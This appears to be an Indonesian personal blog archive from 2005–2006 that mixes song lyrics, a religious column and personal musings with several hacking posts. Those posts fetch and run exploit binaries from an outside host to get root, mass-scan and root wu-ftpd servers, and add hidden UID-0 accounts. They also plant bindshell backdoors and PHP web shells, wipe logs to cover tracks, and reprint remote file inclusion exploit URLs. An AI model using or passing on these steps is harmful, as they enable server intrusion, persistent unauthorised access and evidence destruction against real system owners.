Thursday, November 23, 2006

mau 2nd ato 1st

Astrid - Jadikan Aku Yang Kedua

*
jika dia cintaimu
melebihi cintaku padamu
aku pasti rela untuk melepasmu
walau ku tau ku kan terluka

jikalau semua berbeda
kau bukanlah orang yang kupuja
tetapi hatiku telah memilihmu
walau kau tak mungkin tinggalkannya

reff.
jadikan aku yang kedua
buatlah diriku bahagia
walau pun kau takkan pernah
kumiliki selamanya

kembali ke *, reff

Jadi inget film Jomblo, Lani (Nadia Safira} yang mau ajah ama agus (ringo) walaupun tau kalo agus sebenernya udah punya ce...

Helloo..

Kringgg... kringgg... tok...
Sorry cuman miscall, nda ada pulsa

Thursday, September 07, 2006

Masihkah Kita ?

Tadi pagi ketika melintas di simpang 4 STIENAS, saya melihat seorang ibu ibu berjilbab naik kendaraan bermotor bersama suami dan anaknya, dengan entengnya sang bu melempar a.k.a membuang kotak minuman Teh Kotak SOSR* yang sudah kosong isinya, mungkin dipikirnya jalan trotoar adalah TPS (Tempat Pembuangan SOSRO). Masih berartikah pepatah Kebersihan itu Sebagian dari Iman ? Masihkan Kebersihan itu sebagian dari iman kita ? Apakah membuang sampah di Trotoar bukan berarti membuang sampah secara sembarangan ?

Monday, August 28, 2006

Puffy Amiyumi J-Ver

Domo kotsu uru mamoru yo, Teen Titans
Suki kidai nuku randemo taberu yo, Teen Titans
Shin kami dari kari oyai
Okuga san su ika shakai
Omae mo wa nari mounai, Teen Titans, GO!

Okida koidei yopei oku dayou, Teen Titans
Mono yami haku daiketsu shichu yo, Teen Titans
Kasu rana suke ju kontoro
Mama na daichu kontro
Megau dou wa hate shinai, Teen Titans, GO!

Teen Titans, GO!

Shami shii doke itsu demo
Boku rande iru yo
Ai doke iwa hako doyo
Boku randa istu mo... Istu mo...

T-E-E-N-T-I-T-A-N-STeen Titans let's go!
T-E-E-N-T-I-T-A-N-STeen Titans let's go!
T-E-E-N-T-I-T-A-N-STeen Titans let's go!
T-E-E-N-T-I-T-A-N-STeen Titans let's go!

(Guitar Solo)

Domo kotsu uru mamoru yo, Teen Titans
Suki kidai nuku randemo taberu yo, Teen Titans
Shin kami dari kari oyai
Okuga san su ika shakai
Omae mo wa nari mounai, Teen Titans, GO!

Teen Titans, GO!

1-2-3-4 GO! Teen Titans!

Friday, July 28, 2006

Anak

Oleh: KH Husin Naparin Lc MA

ADA pasangan suami-istri ingin mendapatkan anak. Si istri kemudian hamil dan melahirkan. Artinya keduanya mendapatkan anak sesuai keinginan.

Ada pula suami-istri yang ingin sekali mendapatkan anak namun tidak mendapatkannya kendati sudah berobat bermacam-macam.

Selain itu terdapat pasangan yang tidak ingin punya anak, tetapi si istri selalu melahirkan. Suami-istri ini tentunya juga pusing tujuh keliling.

Ini mirip dengan pasangan yang menginginkan anak lelaki namun yang lahir perempuan melulu sehingga cermin di rumah sering pecah karena mereka berebutan ingin bersolek.

Sebaliknya dengan pasangan yang menginginkan anak perempuan, namun yang lahir laki-laki semua sampai mampu membentuk satu kesebelasan sepakbola, kendati tidak mampu berlaga di final piala dunia.

Mengapa? "......Dialah (Allah) yang menciptakan apa yang Dia kehendaki. Dia memberikan anak-anak perempuan kepada siapa yang Dia kehendaki dan memberikan anak lelaki kepada siapa yang Dia kehendaki; atau Dia mengenugerahkan kedua jenis laki-laki dan perempuan (kepada siapa yang dikehendakiNya), dan Dia menjadikan mandul siapa yang Dia kehendaki..." (QS Asy Syura 49-50).

Ada suami tampan bagai Arjuna dan istri cantik bagai Srikandi, tetapi mengapa putranya bagai Petrok. Ada pula suami-istri biasa-biasa saja, tetapi putranya bak matahari dan putrinya seperti bulan purnama.

Mengapa?".....Dialah (Allah) yang membentuk kamu (manusia) dalam rahim sebagaimana yang dikehendakiNya..." (QS Ali Imran 6).

Di dunia, anak menjadi perhiasan hidup dan buah mata (qurratu a’yun). Nabi SAW menyuruh umatnya beranak-pinak. Dikatakannya, seseorang tidak tahu dari anak yang mana ia mendapat rezeki (HR Umar).

Ada seorang ahli shufi yang dikenal dengan panggilan Dzun Nun al Mishri yang pekerjaan sehari-hari mencari ikan dengan jala di Sungai Nil. Dia mempunyai seorang putri yang masih kecil tetapi sudah pandai berbicara.

Anak itu dibawanya di atas sampan kecil karena ibunya sudah meninggal dunia. Jala pun diterbarkan. Ternyata dia mendapatkan seekor ikan besar. Ikan itu diambil oleh Dzun Nun, tetapi oleh putrinya dilepaskan kembali ke air.

"Mengapa kau buang hasil kita hari ini?" tanya Dzun Nun kepada putrinya. Putrinya menjawab, "Aku tidak berani memakan ikan yang berzikir kepada Allah SWT."

Dzun Nun bertanya kembali, "Apa yang harus kita perbuat?" Anaknya menjawab, "Kita bertawakkal kepada Allah."

Keduanya kemudian pulang sambil bertawakkal kepada Allah SWT. Mengherankan, tatkala sampai waktu makan malam, datanglah hidangan yang diantar orang tidak dikenal. Demikian berlalu, setiap kali waktu makan tiba makanan selalu tersedia.

Dzun Nun mengira datangnya makanan itu karena ibadahnya selama ini. Beberapa waktu kemudian putrinya sakit dan meninggal dunia. Sepeninggalnya hidangan tidak pernah datang lagi. Barulah Dzun Nun sadar datangnya makanan selama ini bukan karena amal ibadahnya tetapi karena rezeki putrinya.

Demikianlah, siapa tahu rezeki seseorang yang melimpah ruah, dia dapatkan bukan karena dirinya tetapi karena anaknya.

Di akhirat, anak dapat menaikkan derajat orangtua. Seperti halnya kepegawaian, ada orang yang menduduki golongan satu, dua, tiga atau empat.

Diriwayatkan, di akhirat nanti ada orang golongan dua tetapi masuk daftar golongan empat. Ia pun bertanya kepada Tuhan, "Ya Allah, mengapa hal ini terjadi? Tuhan menjawab, "Tahukah engkau, derajatmu naik karena istigfar dan doa anak-anakmu di dunia setelah kau meninggal (HR Ahmad, Baihaqi dan Ibnu Majah).

Anak mana yang menaikkan pangkat orangtua di akhirat dan bahkan pembawa rezeki di dunia? Jawabnya ialah anak yang tahu siapa Tuhan (Khalik) Penciptanya dan tahu membalas budi orangtuanya dengan istigfar dan doa.

Mereka bukan anak yang lahir hanya membuat jalan-jalan macet, membuat lingkungan menjadi sumpek dan bising karena olahnya.

Karenanya, sudahkah anak-anak anda diberitahu siapa Khalik Pencipta dirinya? Sudahkah anda ajarkan apa tugas mereka sebagai makhluk terhadap sang Khalik? Inilah makna hakiki dan paling mendasar ketika menyambut "Hari Anak Nasional". Anda tidak hanya menjadikan anak-anak anda menjadi "anak Indonesia", tetapi menjadikannya "anak Indonesia yang beriman". Anda tidak hanya menjadikan anak-anak anda menjadi "anak sehat", tetapi menjadikannya "anak sehat lagi shaleh".

Sumber: BanjarmasinPost Jumat, 28 Juli 2006

Monday, July 24, 2006

Best Game Ever

Waktu jaman dulu nih, kalo mau maen game nintendo, mesti beli mesinnya dulu (baca: Console). Sekarang, dengan semakin kencengnya PC, baik dari segi grafis, sound processor, maupun developer software, console mulai di tinggalkan dan digantikan oleh Emulator.
Hampir semua emulator untuk game game console terbaru saat ini sudah tersedia dan siap untuk di download secara gratis di Internet. Begitu juga dengan Game Game nya (baca:ROM) baik yang lama/baru.
Walaupun mungkin

Nyani ga Nyanda Nyanda Kamen

Nyanda, Nyanda, Nyandaaaaa... Kamen....

Sunday, July 23, 2006

80-an bo

Beberapa hari yang lalu ada yang nyari lagu Andy liany yang judul nyah Sanggupkah. segera saja pencarian dilakukan, dengan bertanya kepada om Google dan mbak Yahoo! selama beberapa jam, hasilnya nihil. Karena ngak mau menyerah, pencarian pun kembali dilanjutkan, dengan tekat dan semangat 45, akhrirnya di dapat seorang teman di milis, yang ternyata juga fans berat 80-an nan, langsung deh di japri, dalam waktu kurang dari 30 menit, lagu sudah di attach ke e-mail. Setelah di putar, wahhh... ternyata lagu ABG nih (Angkatan Babe Gue). musik dan arasement nya seh jauh beda dari musih anak band 2000 an, tapi liriknya boleh la.

cukup sudah manis, hentikan bicara
tatap mataku baca hatiku
akan terjawab ketakutanmu
percayalah kau tak sendiri

kalau kau ragu, tinggalkanlah aku
pergilah, aku bisa mengerti
tapi jangan paksa arahya cinta
karena keadaan dan perbedaan

* jalan masih panjang, jangan ucap janji
masih ada cintamu hari ini

reff: sanggupkah aku hidup bersama denganmu
mungkinkah aku hidup tanpa ada dirimu
hanyalah waktu yang bisa jawab semua itu
sampai kapan aku tak tahu

dengarkanlah manis, kita berbeda
jangan dirubah, biarkan saja
nanti ada badai yang ‘kan mengujinya
kita hadapi, kita berbagi

** jalan masih panjang, jangan ucap janji
masih ada kasihmu hari ini

repeat reff

Thursday, July 13, 2006

CatDog

One fine day, with a woof and a purr,
A baby was born, and it caused a little stir.
No blue buzzard, no three-eyed frog,
Just a feline-canine little CatDog.
CatDog! CatDog!

Alone in the world is the little CatDog!

Out on the road or back in town,
All kinds of critters putting Catdog down.
Gotta rise above, gotta try to get along,
Gotta walk together, gotta sing this song:
CatDog! CatDog!

Alone in the world is the little CatDog!

Sunday, July 02, 2006

The poem for pi

Sir, I bear a rhyme excelling
in mystic force and magic spelling
calestial sprites elucidate
all my own striving cant relate

Saturday, January 14, 2006

ISC BIND expl BufferOveflow

Only For

SC BIND 8.2.2 p7 / ISC BIND 8.2.2 p6
ISC BIND 8.2.2 p5
+ Trustix Trustix Secure Linux 1.1 / 1.0
+ S.u.S.E. Linux 6.4ppc / 6.4alpha / 6.4 / 6.3 alpha / 6.3 / 6.2 / 6.1 alpha / 6.1 / 6.0
+ RedHat Linux 7.0J sparc / 7.0J i386 / 7.0J alpha / 7.0 sparc / 7.0 i386 / 7.0 alpha / 6.2E sparc / 6.2E i386 / 6.2E alpha / 6.2 sparc / 6.2 i386 / 6.2 alpha / 6.1 sparc / 6.1 i386 / 6.1 alpha / 6.0 sparc / 6.0 i386 / 6.0 alpha / 5.2 sparc / 5.2 i386 / 5.2 alpha
+ MandrakeSoft Linux Mandrake 7.2 / 7.1 / 7.0 / 6.1 / 6.0
+ IBM AIX 4.3.3 / 4.3.2 / 4.3.1 / 4.3
+ Debian Linux 2.3 sparc / 2.3 powerpc / 2.3 arm / 2.3 alpha / 2.3 68k / 2.3 / 2.2 sparc / 2.2 powerpc / 2.2 arm / 2.2 alpha / 2.2 68k / 2.2
+ Connectiva Linux 5.1 / 5.0 / 4.2 / 4.1 / 4.0es / 4.0
+ Caldera eServer 2.3 / 2.4
+ Caldera OpenLinux Desktop 2.3
ISC BIND 8.2.2 p4 / 8.2.2 p3 / 8.2.2 p2 / 8.2.2 p1 / 8.2.2 / 8.2.1
ISC BIND 8.2
- Slackware Linux 4.0
- RedHat Linux 6.1 i386 / 6.0 i386 / 5.2 i386 / 5.1 / Standard & Poors ComStock 4.2.4
- RedHat Linux 5.0 / 4.2 / 4.1 / 4.0
- IBM AIX 4.3.2 / 4.3.1 / 4.3
- Caldera OpenLinux 2.2 / 1.3

wget xgoogle.tk - iscbind
chmod
./

local explo 2

Only for Local Rooting

For RedHat 6.x or Mandrake 6.x

wget xgoogle.tk - le6.sh
chmod +x
./

For FreeBSD 2.2.x

wget xgoogle.tk - lebsd22
chmod
./

Success ? You got ROOT

Thursday, January 12, 2006

local explo

shell, dua session
wget xgoogle.tk ftp.tar & xpost.tar
tar -zxvf
cd

xpost
./scan (ip range) ex : ./scan 202.1
./masswu wu-scan.log
if keterangan = You Have Root In 211.240.56.254
then
211.240.56.254 > bisa di jebol

ftp
./awu 211.240.56.254
wait for
uid=0(root) gid=0(root) groups=50(ftp)
Linux root.ivines.co.kr 2.4.2-2 #1 Sun Apr 8 20:41:30 EDT 2001 i686 unknow
if whoami = root
then successfull

adduser
/usr/sbin/adduser buham -g wheel -s /bin/bash -d /home/buham
passwd buham
if
Changing password for user buham
passwd: all authentication tokens updated successfully
then
user successfull

get acces root

/usr/sbin/useradd crit -u 0 -d /
passwd -d crit

Done ?
covering tracks...

cd /
rm -f /.bash_history /root/.bash_history /var/log/messages
ln -s /dev/null /root/.bash_history
touch /var/log/messages
chmod 600 /var/log/messages
rm -rf /var/log/lastlog
cat > /var/log/lastlog

ctrl + d

Friday, January 06, 2006

BNC

Udah bosan bikin BOT
Pengen bikin PsyBNC, tapi kok ndak jalan yah ?

Pernah coba BNC, sama aja kok kayak psyBNC, cuman ndak OL 24 jam seh...

wget xgoogle.tk - prebnc.tgz
tar
cd
./bnc

konek ke host port 56560
pass buham

Shell in PHP

Menjalankan perintah CMD pake Inject? susah deh, ribet lage, pake bin backdoor? ndak jalan ? pake CGI Telnet ? mana bisa, gak ada akses CGI-BIN nyoh...

Ini alternatif nya

wget xgoogle.tk - shellphp.txt
mv

jalankan lewat browser...

kaya di putty deh :)

Monday, January 02, 2006

Backdoor dor dor dor

Salah satu teknik yang digunakan setelah kita berhasil masuk kedalam sebuah server, sebelum melakukan penetrasi/rooting lebih lanjut, biasanya kita meletakkan backdoor, yang salah satu fungsinya untuk masuk kembali ke server tersebut, dll.

wget xgoogle.tk - bintty
chmod
./bintty

done

open putty
telnet
PORT 1109
pass buhamania

Friday, December 23, 2005

Syaloom

Seorang teman memberi saya pepatah tua dari negeri cina

Sun-Tzu:"If the enemy leaves a door open, you must rush in."

Yang artinya :

Jika musuh membiarkan pintu terbuka, kita harus masuk menyerbu!

Pepatah itu mengingatkan saya beberapa waktu yang lalu, ketika saya pertama kali belajar membuat psyBNC/Bot, karena kinerja, cara kompilasinya yang rumit, memacu saya untuk mencari skript yang sudah ter compile.

Akhir pencarian saya menemukan Chanarybot/ChanaryPSY (dari chanel #chanary@DALnet) yang kompilasinya begitu mengagumkan (menurut saya waktu itu)

Setelah beberapa waktu yang cukup cukup cukup lama, akhirnya saya menyadari ternyata keduanya memiliki backdoor yang berjalan tanpa kita ketahui, melakukan loggin ke access psy/bot kita serta hal hal yang tidak kita bayangkan.

<fazar>Sun-Tzu:"If the enemy leaves a door open, you must rush in.
<fazar>Jika musuh membiarkan pintu terbuka, kita harus masuk menyerbu!
<fazar>;)
<anak-rimba>wah apa itu
<anak-rimba>itu back dor namanya mas

Bukan salah yang membuat backdoor jika password anda dicuri, karena anda menggunakan/mendapatkannya secara gratis tanpa memeriksanya terlebih dahulu.

Peringatan Pemerintah :
- Baca aturan pakai, jika anda tidak setuju dengan skript orang lain silakan EDIT sendiri, tentu saja tanpa menghilangkan notabane nya.

How To 9

PHP Code Injection Vulnerabilities in phpGedView 2.65.1 and prior

Description:
PHP remote code injection vulnerability in the GEDCOM configuration script for phpGedView 2.65.1 and earlier allows remote attackers to execute arbitrary PHP code by modifying the PGV_BASE_DIRECTORY parameter to reference a URL on a remote web server that contains a malicious theme.php script.

External References:
Mitre CVE: CAN-2004-0128
BUGTRAQ: 20040129 PHP Code Injection Vulnerabilities in phpGedView 2.65.1 and prior

Summary:
phpGedView is an open source system for online viewing of Gedcom information (family tree and genealogy information). Multiple PHP Code Injection vulnerabilities exist in the phpGedView product. They enable a malicious user to execute commands on the server.

Release Date:
January 29 2004

Severity:
High

SecureScout Testcase ID:
TC 17868 (Still in Development)

Vulnerable Systems:
phpGedView version 2.65.1 and prior

Vulnerability Type:
PHP Injection - force the Target to Execute a PHP file from Attackers Server

Vendor Status:
The Vendor has been notified and has Released a Version 2.65.3 that fixes the problem

Example:
(HIGH Risk no authentication needed)

- -- HTTP Request --

http://[target]/[phpGedView-directory]/index/[GED_File]_conf.php?PGV_BASE_DIRECTORY=http://attacker&THEME_DIR=/

- -- HTTP Request --

Code impacted : [GED_File]_conf.php

123:if (file_exists($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php"))
require($PGV_BASE_DIRECTORY.$THEME_DIR."theme.php");
124:else {
125: $THEME_DIR = $PGV_BASE_DIRECTORY."themes/standard/";
126: require($THEME_DIR."theme.php");
127: }

The require call is only vulnerable when PHP register_globals is On.

In this case you have to obtain the name of the GEDCOM File used. Just perform a http://[target]/session.php request the GEDCOM file will be in argument of the login.php call.

The attacker has to create on his web site a directory call themes/standard, and a file theme.php

For example: theme.php =

and the request, will execute the phpinfo() command on the vulnerable target.

Credits:
Cedric Cochin - netVigilance Vulnerability Research team

Tuesday, December 13, 2005

Thanks To Anymous

say : thx to Anymous, about your comment

Saran anda mengenai PoC di tampung, saya akan berusaha memberikan format PoC yang bagus, karena blog ini bukan security focus/hacking tutorial, hanya sebuah note buat teman teman yang memerlukan

Satu hal yang perlu di ingat, bukan saya yang menemukan bugs/exploit ini, saya hanya merakit, bukan author. Ibarat bom saya tidak bisa bikin eRDeeX/C4, hanya merakit.

Namun saran anda semua akan saya tampung.

Thx.

Friday, December 09, 2005

How To 8

'isearch.inc.php' includes the following files relative to the user-supplied $isearch_path variable:

isearch_core.inc.php
isearch_spider.inc.php
i search_search.inc.php

A remote user can reportedly supply a specially crafted URL that will include arbitrary PHP code from a remote location and execute the code on the target system. The code, including operating system commands, will execute with the privileges of the target web service.

A demonstration exploit URL is provided:

http://[target]/isearch/isearch.inc.php?isearch_path=http://[attacker]?&cmd=cat /etc/passwd

The author indicates that this vulnerability was reported by blackcobra-x.

Impact: A remote user can execute arbitrary PHP code and operating system commands on the target system with the privileges of the target web service.

Solution: No solution was available at the time of this entry.

Vendor URL: www.isearchthenet.com/isearch/index.php (Links to External Site)

Cause: Input validation error, State error

Underlying OS: Linux (Any), UNIX (Any), Windows (Any)

Reported By: taktau@taktau.cc

Subscribe to: Posts (Atom)

Mac-On-Linux Divider Bar